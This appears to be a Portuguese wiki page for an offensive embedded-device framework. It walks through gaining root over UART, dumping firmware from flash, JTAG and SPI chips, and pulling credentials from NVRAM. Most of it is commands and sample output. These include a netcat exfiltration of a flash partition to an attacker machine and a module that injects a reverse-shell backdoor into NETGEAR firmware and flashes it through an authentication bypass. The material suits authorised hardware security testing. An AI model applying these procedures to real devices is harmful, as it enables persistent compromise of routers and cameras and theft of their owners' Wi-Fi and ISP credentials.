-
Notifications
You must be signed in to change notification settings - Fork 7
Hardware Hacking ptBR
Idioma: Português (pt-BR) | English: Hardware-Hacking
Módulos e técnicas para avaliação de segurança física de dispositivos embarcados. Abrange acesso ao console serial, depuração JTAG, extração de firmware e análise de memória flash.
O hardware hacking fornece acesso aos internos do dispositivo que não estão expostos pela rede. Os pontos de entrada mais comuns incluem:
- UART/Console serial - shell root sem autenticação na maioria dos roteadores SOHO e câmeras
- JTAG/SWD - depuração completa do chip, leitura/escrita de memória, breakpoints
- Flash SPI/NAND/NOR - extração direta de firmware sem executar o sistema operacional
- EEPROM I2C/SPI - extração de configuração e credenciais de memória não volátil
O EmbedXPL-Forge inclui um módulo de exploração de dispositivo serial para interação automatizada com consoles UART.
exf > use exploits/hardware/serial_console_access
exf (SerialAccess) > show options
Options:
Name Current Setting Required Description
---- --------------- -------- -----------
PORT /dev/ttyUSB0 yes Dispositivo de porta serial
BAUD 115200 yes Taxa de baud (comuns: 9600, 38400, 57600, 115200)
DATABITS 8 no Bits de dados (5, 6, 7, 8)
PARITY N no Paridade: N (nenhuma), E (par), O (ímpar)
STOPBITS 1 no Bits de parada (1, 1,5, 2)
TIMEOUT 5 no Tempo limite de leitura (segundos)
CMD no Comando a executar após acesso ao shellexf (SerialAccess) > set PORT /dev/ttyUSB0
exf (SerialAccess) > set BAUD 115200
exf (SerialAccess) > run
[*] Abrindo /dev/ttyUSB0 em 115200 8N1
[*] Aguardando sequência de inicialização...
[+] Mensagens de boot detectadas:
U-Boot 2018.01 (Nov 12 2020 - 10:33:04 +0000)
...
BusyBox v1.27.2 built-in shell (ash)
Enter 'help' for a list of built-in commands.
[+] Prompt do shell detectado: #
[+] Executando 'cat /etc/passwd':
root:x:0:0:root:/:/bin/sh
admin:x:1000:1000::/home/admin:/bin/sh
[+] Sessão interativa aberta. Digite 'exit' para fechar.
# id
uid=0(root) gid=0(root)import serial
from embedxpl.core.hardware.serial_console import SerialConsole
console = SerialConsole(port="/dev/ttyUSB0", baud=115200, timeout=5)
console.open()
# Aguarda prompt do shell
if console.wait_for_prompt(["#", "$", ">"], timeout=60):
output = console.execute("cat /etc/passwd")
print(output)
output = console.execute("cat /etc/config/wireless")
print(output)
console.close()Saída esperada:
[*] Conectando a /dev/ttyUSB0 @ 115200 baud...
[+] Acesso ao shell confirmado (prompt: #)
[+] /etc/passwd:
root:x:0:0:root:/:/bin/sh
admin:x:1000:1000::/home/admin:/bin/sh
[+] /etc/config/wireless:
config wifi-device 'radio0'
option type 'mac80211'
option channel '6'
config wifi-iface
option ssid 'MyRouter'
option key 'MyWifiPass123'
| Vendor | Taxa de Baud Comum | Notas |
|---|---|---|
| TP-Link | 57600 | Maioria dos roteadores SOHO |
| D-Link | 57600 | Série DIR |
| NETGEAR | 115200 | Nighthawk, série R |
| Huawei | 115200 | ONTs série HG/EG |
| ZTE | 115200 | Série ZXHN |
| Ubiquiti | 115200 | UniFi, EdgeOS |
| MikroTik | 115200 | Dispositivos RouterOS |
| Hikvision | 115200 | Câmeras série DS-2CD |
| Dahua | 115200 | Série DVR/NVR |
| Generic OpenWrt | 115200 | Maioria dos dispositivos |
Após obter acesso ao shell serial, extraia o firmware diretamente da memória flash:
# No shell do dispositivo (acesso root via UART)
# Método 1: Ler partição flash bruta
cat /dev/mtd0 > /tmp/bootloader.bin
cat /dev/mtd1 > /tmp/kernel.bin
cat /dev/mtd2 > /tmp/rootfs.bin
cat /dev/mtd3 > /tmp/firmware.bin
# Transferir via tftp (se disponível)
tftp -p -l /tmp/firmware.bin 192.168.1.10
# Método 2: Transferência via netcat
nc 192.168.1.10 9999 < /dev/mtd2
# Na máquina do atacante
nc -l -p 9999 > firmware_rootfs.bin
# Método 3: SCP (se SSH estiver acessível)
scp root@192.168.1.1:/dev/mtd2 ./firmware_rootfs.binexf > use exploits/firmware/firmware_format_detect
exf (FirmwareDetect) > set FIRMWARE /caminho/para/firmware.bin
exf (FirmwareDetect) > run
[*] Analisando: firmware.bin (8.388.608 bytes)
[+] Formato detectado: TRX (variante TP-Link)
Checksum: CRC32 válido
Partições:
[0] bootloader 0x000000 - 0x01FFFF (128KB)
[1] kernel 0x020000 - 0x27FFFF (2,4MB)
[2] rootfs 0x280000 - 0x7FFFFF (5,5MB)
Compressão: LZMA
Arquitetura: MIPS (big-endian)# Injetar backdoor e remontar
exf > use exploits/firmware/netgear_firmware_flash
exf (FirmwareFlash) > set target 192.168.1.1
exf (FirmwareFlash) > set firmware /caminho/para/backdoored.bin
exf (FirmwareFlash) > set lhost 10.0.0.10
exf (FirmwareFlash) > set lport 4444
exf (FirmwareFlash) > run
[*] Formato: TRX (variante NETGEAR)
[*] Injetando reverse shell no offset 0x5A0000...
[*] Recalculando checksum CRC32/MD5...
[*] Enviando via endpoint flash do vendor (contornando autenticação)...
[+] Firmware aceito - aguardando reinicialização do dispositivo (~60s)
[+] Reverse shell recebido de 192.168.1.1:4444
[+] uid=0(root) gid=0(root)O JTAG fornece depuração completa em nível de chip. Casos de uso comuns:
- Contornar secure boot (se presente, mas mal configurado)
- Ler flash NAND/NOR quando o sistema operacional está inacessível
- Definir breakpoints de hardware para fazer engenharia reversa de protocolos proprietários
Os pinos JTAG em placas embarcadas costumam ser rotulados ou seguem os cabeçalhos padrão MIPS/ARM:
| Sinal | MIPS (32 pinos) | ARM (20 pinos JTAG) | Notas |
|---|---|---|---|
| TDI | Pino 4 | Pino 5 | Test Data In |
| TDO | Pino 5 | Pino 13 | Test Data Out |
| TCK | Pino 7 | Pino 9 | Test Clock |
| TMS | Pino 6 | Pino 7 | Test Mode Select |
| TRST | Pino 8 | Pino 3 | Test Reset (opcional) |
| GND | Pino 1 | Pinos 4, 6, 8 | Terra |
# Conectar ao alvo via JTAG (OpenOCD + adaptador USB)
openocd -f interface/ftdi/jtagkey.cfg -f target/mips_4kc.cfg
# Na sessão telnet do OpenOCD (porta 4444)
telnet localhost 4444
> halt
> dump_image /tmp/flash_dump.bin 0x00000000 0x800000
> resume
> exitPara dispositivos onde o UART não está acessível ou o bootloader está bloqueado:
# Ferramentas: flashrom + programador CH341A
# Identificar chip flash (comum em roteadores SOHO)
# Winbond W25Q128, Macronix MX25L12835, GigaDevice GD25Q64
# Ler chip
flashrom -p ch341a_spi -r firmware_full.bin
[*] flashrom v1.3.0 on Linux 6.1.0
[*] Found chip "Winbond W25Q128.V" (16384 KB) on ch341a_spi.
[*] Reading flash... done.
[*] Saved to firmware_full.bin
# Gravar firmware modificado de volta
flashrom -p ch341a_spi -w modified_firmware.bin# No shell do dispositivo (UART ou via RCE)
# Ler NVRAM (Broadcom/TP-Link)
nvram show 2>/dev/null | grep -E 'pass|key|ssid|admin'
# Saída esperada:
wan_pppoe_username=myuser@isp.com
wan_pppoe_password=MyISPPass
wl_wpa_psk=MyWifiKey2024
http_passwd=admin123Home | Ferramentas Firmware | Módulos ISP
André Henrique (@mrhenrike) | União Geek
Getting Started
Modules
Shell & Post-Exploitation
Tools & Infrastructure
- NSE-Script-Manager
- Firmware-Tools
- Discover-Command
- Sessions-Command
- APT-Catalog
- Sysinfo-and-Compute
- Infra-Wizard-Mode
- Catalogs-and-Tools
Reference
Comecar
Modulos
- Modulos-de-Credenciais
- Modulos-de-Exploit
- Modulos-Genericos
- AutoPwn-pt-BR
- Payloads-e-Encoders
- Modulos-Dispositivos-ISP
- Modulos-OSINT
Shell e Pos-Exploracao
Ferramentas e Infraestrutura
- Gerenciador-NSE
- Firmware-Tools
- Descoberta-de-Rede
- Gerenciamento-de-Sessoes
- APT-Catalog
- Sysinfo-and-Compute
- Infra-Wizard-Mode
- Catalogos-e-Ferramentas
Referencia